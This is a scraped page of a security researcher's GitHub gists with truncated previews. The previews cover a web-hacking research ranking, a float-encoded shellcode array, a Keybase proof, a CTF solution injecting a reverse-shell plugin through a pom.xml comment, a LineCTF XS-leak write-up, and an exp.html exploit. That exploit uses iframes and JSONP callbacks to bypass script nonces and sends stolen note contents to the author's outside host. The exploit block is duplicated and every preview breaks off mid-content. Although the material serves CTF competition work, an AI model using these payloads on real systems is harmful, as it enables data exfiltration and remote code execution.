s1r1us msrkp

## review.md

      
              1 file
            
          
              1 fork
            
          
              0 comments
            
          
              6 stars
            
          
                msrkp
                / review.md
            
            
              Last active
              February 6, 2024 20:30
            
              
                https://portswigger.net/polls/top-10-web-hacking-techniques-2023
              
          
    The criteria I used to rank: 

The level of complexity of the research. (How hard for me to do the same research?)
The usefulness of the research to other security researchers.
Novelty, scale of exploitation and impact

Top candidates

Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization 
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf


## shellcode.js
let shellcode = [2.40327734437787e-310, -1.1389104046892079e-244, 3.1731330715403803e+40, 1.9656830452398213e-236, 1.288531947997e-312, 8.3024907661975715e+270, 1.6469439731597732e+93, 9.026845734376378e-308];

## keybase.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                msrkp
                / keybase.md
            
            
              Created
              August 29, 2021 04:28
            
              
                keybase.md
              
          
    Keybase proof

I hereby claim:

I am msrkp on github.
I am s1r1us (https://keybase.io/s1r1us) on keybase.
I have a public key whose fingerprint is 00AD 378C CEB2 0955 8E61  4EED 5386 F2DB 6741 F532

To claim this, I am signing this object:

  
## sol.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                msrkp
                / sol.md
            
            
              Last active
              May 16, 2021 13:36
            
              
                OMH CTF Solutions
              
          
    code_review solution

Add comment in text node of plugin configuration in pom.xml file. This comment will  add new plugin and executes reverse shell
<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>2.22.2</version>
                <configuration> // <forkedProcessTimeoutInSeconds>30</forkedProcessTimeoutInSeconds></configuration></plugin>
 <plugin>
                <groupId>org.codehaus.mojo</groupId>

  
## exp.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              1 star
            
          
                msrkp
                / exp.md
            
            
              Last active
              July 30, 2023 15:20
            
              
                LineCTF - Your Note script to perform XS-leaks to read the flag.
              
          
    XS-leaks while download in headless-chrome.
TL;DR

There is a feature to search the note and a download option, so visiting the following page http://34.84.72.167/search?q=LINECTF{&download downloads a json file if the param value of q exists in notes.
Download doesn't work in headless chrome, so it throws an error.
oracle

  page.goto(url).then(() => {

  
## exp.html
<!DOCTYPE html>
<html>
<head>

	<script>
x= `
	<iframe name=x title='fetch(&#x22;/note&#x22;).then(x=>x.text()).then(x=>top.location=&#x22;//ctf.s1r1us.ninja?html=&#x22;+btoa(encodeURIComponent(x)))' id=y srcdoc='<script><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.nonce=top.document.body.lastElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nonce.valueOf ><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.nonce=top.x.nonce.valueOf ><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.innerHTML=top.y.title.valueOf ><\/script>'></iframe>
	<!DOCTYPE html>
	<html>
	<head>

	<script>
	x= `
	<iframe name=x title='fetch("/note").then(x=>x.text()).then(x=>top.location="//ctf.s1r1us.ninja?html="+btoa(encodeURIComponent(x)))' id=y srcdoc='<script><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.nonce=top.document.body.lastElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nonce.valueOf ><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.nonce=top.x.nonce.valueOf ><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.innerHTML=top.y.title.valueOf ><\/script>'></iframe>